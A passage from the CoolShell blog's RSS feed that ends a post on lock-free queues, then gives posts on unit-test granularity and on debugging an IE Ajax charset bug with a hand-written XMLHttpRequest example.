30px;\">5）DeQueue操作。定位HEAD的位置，把(HEAD, x)更新成(EMPTY, HEAD)，并把x返回。同样需要注意，如果x是TAIL，则说明队列为空。</p>\n<p>算法的一个关键是——如何定位HEAD或TAIL？</p>\n<p style=\"padding-left: 30px;\">1）我们可以声明两个计数器，一个用来计数EnQueue的次数，一个用来计数DeQueue的次数。</p>\n<p style=\"padding-left: 30px;\">2）这两个计算器使用使用Fetch&amp;ADD来进行原子累加，在EnQueue或DeQueue完成的时候累加就好了。</p>\n<p style=\"padding-left: 30px;\">3）累加后求个模什么的就可以知道TAIL和HEAD的位置了。</p>\n<p>如下图所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8240\" title=\"Lock-Free Queue(Array)\" src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock-free-array.jpg\" alt=\"\" width=\"477\" height=\"215\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/09/lock-free-array.jpg 477w, https://coolshell.cn/wp-content/uploads/2012/09/lock-free-array-300x135.jpg 300w\" sizes=\"(max-width: 477px) 100vw, 477px\" /></p>\n<h4 style=\"text-align: left;\"> 小结</h4>\n<p style=\"text-align: left;\">以上基本上就是所有的无锁队列的技术细节，这些技术都可以用在其它的无锁数据结构上。</p>\n<p style=\"text-align: left; padding-left: 30px;\">1）无锁队列主要是通过CAS、FAA这些原子操作，和Retry-Loop实现。</p>\n<p style=\"text-align: left; padding-left: 30px;\">2）对于Retry-Loop，我个人感觉其实和锁什么什么两样。只是这种“锁”的粒度变小了，主要是“锁”HEAD和TAIL这两个关键资源。而不是整个数据结构。</p>\n<p style=\"text-align: left;\">还有一些和Lock Free的文章你可以去看看：</p>\n<ul>\n<li>Code Project 上的雄文 《<a href=\"http://www.codeproject.com/Articles/153898/Yet-another-implementation-of-a-lock-free-circular\" target=\"_blank\" rel=\"noopener noreferrer\">Yet another implementation of a lock-free circular array queue</a>》</li>\n<li>Herb Sutter的《<a href=\"http://www.drdobbs.com/parallel/writing-lock-free-code-a-corrected-queue/210604448?pgno=1\" target=\"_blank\" rel=\"noopener noreferrer\">Writing Lock-Free Code: A Corrected Queue</a>》&#8211; 用C++11的std::atomic模板。</li>\n<li>IBM developerWorks的《<a href=\"http://www.ibm.com/developerworks/cn/aix/library/au-multithreaded_structures2/index.html\" target=\"_blank\" rel=\"noopener noreferrer\">设计不使用互斥锁的并发数据结构</a>》</li>\n</ul>\n<div>【<strong>注：我配了一张look-free的自行车，寓意为——如果不用专门的车锁，那么自行得自己锁自己！</strong>】</div>\n<p style=\"text-align: left;\"> （全文完）</p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/10975.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一个“蝇量级” C 语言协程库\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10975.html\" class=\"wp_rp_title\">一个“蝇量级” C 语言协程库</a></li><li ><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"二叉树迭代器算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_title\">二叉树迭代器算法</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/6548.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/WhyCPP.01-150x150.jpg\" alt=\"Why C++ ? 王者归来\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6548.html\" class=\"wp_rp_title\">Why C++ ? 王者归来</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8239.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>241</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“单元测试要做多细？”</title>\n\t\t<link>https://coolshell.cn/articles/8209.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8209.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 03 Sep 2012 00:13:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<category><![CDATA[Unit Test]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8209</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章主要来源是StackOverflow上的一个回答——“How deep are your unit tests?”。一个有13.8K的分的人（John ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8209.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这篇文章主要来源是StackOverflow上的一个回答——“<a title=\"How deep are your unit tests?\" href=\"http://stackoverflow.com/questions/153234/how-deep-are-your-unit-tests\" target=\"_blank\">How deep are your unit tests?</a>”。一个有13.8K的分的人（<a href=\"http://stackoverflow.com/users/1116/john-nolan\">John Nolan</a>）问了个关于TDD的问题，这个问题并不新鲜，最亮的是这个问题的Best Answer，这个问题是——</p>\n<p style=\"padding-left: 30px;\">“TDD需要花时间写测试，而我们一般多少会写一些代码，而第一个测试是测试我的构造函数有没有把这个类的变量都设置对了，这会不会太过分了？那么，我们写单元测试的这个单元的粒度到底是什么样的？并且，是不是我们的测试测试得多了点？”</p>\n<h4>答案</h4>\n<p>StackOverflow上，这个问题的答案是这样的——</p>\n<p style=\"padding-left: 30px;\">“I get paid for code that works, not for tests, so my philosophy is to test as little as possible to reach a given level of confidence (I suspect this level of confidence is high compared to industry standards, but that could just be hubris). If I don&#8217;t typically make a kind of mistake (like setting the wrong variables in a constructor), I don&#8217;t test for it. I do tend to make sense of test errors, so I&#8217;m extra careful when I have logic with complicated conditionals. When coding on a team, I modify my strategy to carefully test code that we, collectively, tend to get wrong.”</p>\n<p style=\"padding-left: 30px;\"><strong>老板为我的代码付报酬，而不是测试，所以，我对此的价值观是——测试越少越好，少到你对你的代码质量达到了某种自信</strong>（我觉得这种的自信标准应该要高于业内的标准，当然，这种自信也可能是种自大）。如果我的编码生涯中不会犯这种典型的错误（如：在构造函数中设了个错误的值），那我就不会测试它。<strong>我倾向于去对那些有意义的错误做测试，所以，我对一些比较复杂的条件逻辑会异常地小心</strong>。当在一个团队中，我会非常小心的测试那些会让团队容易出错的代码。</p>\n<p>这个回答对TDD似乎有一种否定，<strong>最亮的是这个问题是由<a href=\"http://en.wikipedia.org/wiki/Kent_Beck\" target=\"_blank\">Kent Beck</a>，Kent是XP和TDD的创造者，是敏捷开发实践方法的奠基人</strong>。以致于还有人调侃到——</p>\n<p><span id=\"more-8209\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-8212\" title=\"fight club\" src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight.jpg\" alt=\"\" width=\"342\" height=\"195\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/09/fight.jpg 342w, https://coolshell.cn/wp-content/uploads/2012/09/fight-300x171.jpg 300w\" sizes=\"(max-width: 342px) 100vw, 342px\" /></p>\n<p style=\"padding-left: 30px;\">The world does not think that Kent Beck would say this! There are legions of developers dutifully pursuing 100% coverage because they think it is what Kent Beck would do! I have told many that you said, in your XP book, that you don&#8217;t always adhere to Test First religiously. But I&#8217;m surprised too.</p>\n<p style=\"padding-left: 30px;\">只是要地球人都不会觉得Kent Beck会这么说啊！我们有大堆程序员在忠实的追求着100%的代码测试覆盖率，因为这些程序员觉得Kent Beck也会这么干！我告诉过很多人，你在你的XP的书里说过，你并不总是支持“宗教信仰式的Test First”，但是今天Kent这么说，我还是很惊讶！</p>\n<p>后面还有一些人不同意Kent， 我一下子从这个事中想到了《<a href=\"http://movie.douban.com/subject/1292000/\" target=\"_blank\">fight club</a>》里的那个精神分裂者创建了一个连自己都反对的地下组织。呵呵。</p>\n<p>其实我是非常同意Kent的，怎么合适怎么搞，爱怎么测试就怎么测试，只要自己和团队有信心就可以了。没有必要就一定要写测试，一定要测试先行。</p>\n<h4>其它答案</h4>\n<p>八卦完了，我们还是来认认真真地看看这个问题中其它的其它答案，因为这个问题的也是国人爱问题的问题。</p>\n<p><strong>第二个答案：值得借鉴</strong></p>\n<ul>\n<li>开发过程中，单元测试应该来测试那些可能会出错的地方，或是那些边界情况。</li>\n<li>维护过程中，单元测试应该跟着我们的bug report来走，每一个bug都应该有个UT。于是程序员就会对自己的代码变更有两个自信，一是bug 被 fixed，二是相同的bug不会再次出现。</li>\n</ul>\n<p><strong>第三个答案：给敏捷咨师看的答案</strong></p>\n<p>这个答案在说，我们只注意到了TDD中的T，而忽略了第一个D，就是Driven…… bla bla bla&#8230; 又这扯这些空洞的东西了，国内的各种不学无术的敏捷咨询师最好这一口了。</p>\n<p><strong>第四个答案：致那些什么都要测试的人</strong></p>\n<p>如果我们需要测试一个像 <code>int square(int x)</code> 这样的开根函数，我们需要40亿个测试（每个数都要测试）。</p>\n<p>事实上这种情况可能还更糟糕，如果有这样一个方法 <code>void setX(int newX)</code> 不会更改其它的成员变量，如：obj.z, Obj.y，那么，你是不是还要去测试一下别的变量没有被改变？</p>\n<p>我们只可能测试那些有意义的，确实要测试的案例。</p>\n<h4>我的观点</h4>\n<p>我在《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并没有看上去的那么美</a>》一文中说过我的观点了，我就不再多说了。我还是把下面这些观点列出来，供大家思考和讨论：</p>\n<p style=\"padding-left: 30px;\">1）<strong>我国的教育对我们最大的洗脑不是掩盖事实，而让我们习惯于标准答案，习惯于教条，从而不会思考！敏捷开发中的若干东西似乎都成了软件开发中对某种标准答案的教条，实在是悲哀！</strong></p>\n<p style=\"padding-left: 30px;\">2）<strong>软件开发是一种脑力劳动，是一种知识密集型的工作，就像艺术作品一样，创作过程和成品是没有标准答案的。</strong></p>\n<p style=\"padding-left: 30px;\">3）<strong>软件的质量不是测试出来的，而是设计和维护出来的。就像工匠们在一点一点地雕琢他们的作品一样。</strong></p>\n<p>UT的粒度是多少，这个不重要，重要的是你会不会自己思考你的软件应该怎么做，怎么测试。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"再谈敏捷和ThoughtWorks中国咨询师\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_title\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li ><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" alt=\"[转]TDD到底美还是不美？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_title\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8209.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>101</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一次Ajax查错的经历</title>\n\t\t<link>https://coolshell.cn/articles/8170.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8170.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 27 Aug 2012 06:56:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8170</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>先说故事，再说想法吧。 我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8170.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>先说故事，再说想法吧。</p>\n<p>我有一朋友做网站，用jQuery的Ajax方法从后端载入一段HTML代码然后动态插入到网页的Div元件中。这个东西太普遍了。jQuery强大的load方法可以完成这个事情。朋友的代码是这么写的：</p>\n<p>[javascript]var tab = jQuery(&quot;#dynamic_tab&quot;);<br />\nvar url = &quot;/list_ajax/&quot;;<br />\ntab.load(url);[/javascript]</p>\n<p>简单到不能再简单了。在Chrome，Firefox，Safari下运行一点问题也没有，只有IE不行，不管是IE7，IE8，还是IE9。问题的症壮是，使用IE访问那个Ajax的链接，没有问题，但是在jQuery的Ajax方法返回了“undefined”的respons对象。没有任何报错！</p>\n<p>怎么搞也搞不定，只好Google了一下——“<a href=\"https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;site=&amp;source=hp&amp;q=jQuery+load+IE&amp;btnK=Google+%E6%90%9C%E7%B4%A2&amp;oq=jQuery+load+IE\" target=\"_blank\">jQuery load IE</a>”，一看，很多人都在问这个问题。于是开始了<a title=\"各种流行的编程风格\" href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">散弹枪编程方式</a>。</p>\n<p>排在第一的就是StackOverflow被浏览了33K次的这个问题：<a href=\"http://stackoverflow.com/questions/1061525/jquerys-load-not-working-in-ie-but-fine-in-firefox-chrome-and-safari\" target=\"_blank\">jQuery&#8217;s .load() not working in IE &#8211; but fine in Firefox, Chrome and Safari</a>，答案没有被打勾（不靠谱），StackOverflow还有很多人问相似的问题，不过都没有答案。不管三七二十一，先试了一下，散弹枪嘛。试了半天都没有用。</p>\n<p>然后上Google查，又看到有人说的IE缓存的问题，什么，要把cache设置成false，或是用下面的方法来解决：</p>\n<p>[javascript]var tab = jQuery(&quot;#dynamic_tab&quot;);<br />\nvar fuckie = Math.random();<br />\nvar url = &quot;/list_ajax/&quot;+&quot;?fuckie=&quot;+fuckie;<br />\ntab.load(url);[/javascript]</p>\n<p>反正还是一样，统统不Work，几乎所有的都试了，都不Work。搞了一天的朋友恼怒道：“Microsoft应该快点倒闭吧，产品太烂了”。IE的确是太烂了。</p>\n<p><span id=\"more-8170\"></span></p>\n<p>于是我用IE9的网页调试器可以看到点了Ajax的链接后，<strong>IE对网站有http的Ajax请求，也可以看到请求返回了，但是就是不显示在我的页面上——jQuery的Ajax的responseText为undefined!</strong></p>\n<p>对于我这个老家伙，对jQuery也不熟，我只得开始调试jQuery的代码，想看看里面干了什么，报了什么错？调了一个小时，基本上把jQuery的Ajax的封装看懂了七七八八了，但是还是没找到为什么有问题。</p>\n<p>于是，我只得架起原生态的Ajax，看看IE的那个Ajax的ActiveX的对象干了什么事？写了下面的代码（当年写Ajax就是这么写的，所以也不费劲，况且网上还有例程可以抄）：</p>\n<p>[javascript]<br />\nfunction InitAjax()<br />\n{<br />\n    var ajax=false;<br />\n    try {<br />\n        ajax = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);<br />\n    } catch (e) {<br />\n        try {<br />\n            ajax = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);<br />\n        } catch (E) {<br />\n            ajax = false;<br />\n        }<br />\n    }<br />\n    if (!ajax &amp;&amp; typeof XMLHttpRequest!=&#8217;undefined&#8217;) {<br />\n        ajax = new XMLHttpRequest();<br />\n    }<br />\n    return ajax;<br />\n}</p>\n<p>var ajax = InitAjax();<br />\najax.open(&quot;GET&quot;, url, true);<br />\najax.onreadystatechange = function() {<br />\n    if (ajax.readyState == 4 &amp;&amp; ajax.status == 200) {<br />\n        var show = document.getElementById(&quot;HaoChenDIV&quot;).value;<br />\n        show.innerHTML = ajax.responseText;<br />\n    }<br />\n}<br />\najax.send(null);<br />\n[/javascript]</p>\n<p>一运行，还是不行，没见IE报什么错，不过，可以确定这不是jQuery的问题了，估计还是我们自己程序的问题。不过此时的程序太好调试了，调试中，在IE9下调式发现原生的IE的Ajax对象在onreadystatechange函数里，其responseText是下面这个样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8171\" title=\"ajax error in ie\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error.jpg\" alt=\"\" width=\"601\" height=\"153\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error.jpg 601w, https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-300x76.jpg 300w\" sizes=\"(max-width: 601px) 100vw, 601px\" /></p>\n<p>什么是“<strong>系统错误: -1072896658</strong>”？上<a href=\"https://www.google.com/#hl=zh-CN&amp;newwindow=1&amp;q=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22&amp;oq=ajax+%22%E7%B3%BB%E7%BB%9F%E9%94%99%E8%AF%AF:+-1072896658%22\" target=\"_blank\">google一查</a>，一堆页面，基本上是说乱码了，也就是ajax的后端程序返回的网页编码不认识吧。需要在返回的http header里加上 charset=utf-8。</p>\n<p>于是，修改后端的Ajax的程序，明确指定了返回的HTTP Header中的charset，于是IE下就工作正常了，再切回jQuery的load代码，一切正常了（后端的程序本来是utf-8的编码格式，但是不骨明确在HTTP Header中指定，但是只有IE不会自动检测）。</p>\n<p>这个问题的原因就是因为我们没有按照规范去写网页。所以，举一反三，HTML的规范还有哪些，太多了，记也记不住。但也许你会知道<strong>有一个叫 <a href=\"http://validator.w3.org\" target=\"_blank\">http://validator.w3.org</a> 的网站可以帮你校验你网页中的很多不规范的东西</strong>。这个工具会报很多很多错，很多都有点吹毛求疵，不过，可以让你看看（注：今天的coolshell装了很多插件，也被我调过一些东西，所以出错很多，我还记得以前没有插件没有我定制化的样式的时候，Wordpress一个错都不报）。</p>\n<h4>后记</h4>\n<p>我把这个问题和过程分享出来，主要有这么几个目的，并抛出几个问题，大家可以思考一下：</p>\n<p style=\"padding-left: 30px;\">1）这个问题网上有很多人都在报，但是基本上找不到答案（包括StackOverflow），所以，我分享出来，填补一下空白。</p>\n<p style=\"padding-left: 30px;\">2）我相信我们的程序员天天都在经历这样的事，我不知道大家在遇到这样的事情会怎么做？也许大多数人都在网上查各种解决方案，然后一个一个的试，直到试对了——散弹枪式的编程，呵呵。当然，大多数答案都是可能找到的。但<strong>当我们找到答案了后，我们还会深入去了解这个问题的具体原因并举一反三地去思考一其周边的东西吗</strong>？</p>\n<p style=\"padding-left: 30px;\">3）另外，在今天这样N多框架，N多lib，N多开源的年代下，<strong>不知道大家有没有失去了从零开始自己写代码的能力？</strong>比如上面的这个问题，不知道有多少人还会自己写原生态的Ajax？不过，我还是建议大家能在使用各种框架的时候，明白那些最基础的知识，求甚解，知其然知其所以然，真的很重要。</p>\n<p>我是从那个“吃糠的年代”过来的程序员，那时的程序员什么都要自己干，很辛苦，今天我和很多人说我以前的那些经历，会被笑话，但是我从这些什么都自己的干的年代过的经历，让我受益很多。我把我的想法分享给大家，希望对大家有用。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8170.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>93</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>为什么我反对纯算法面试题</title>\n\t\t<link>https://coolshell.cn/articles/8138.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8138.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 22 Aug 2012 00:20:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid 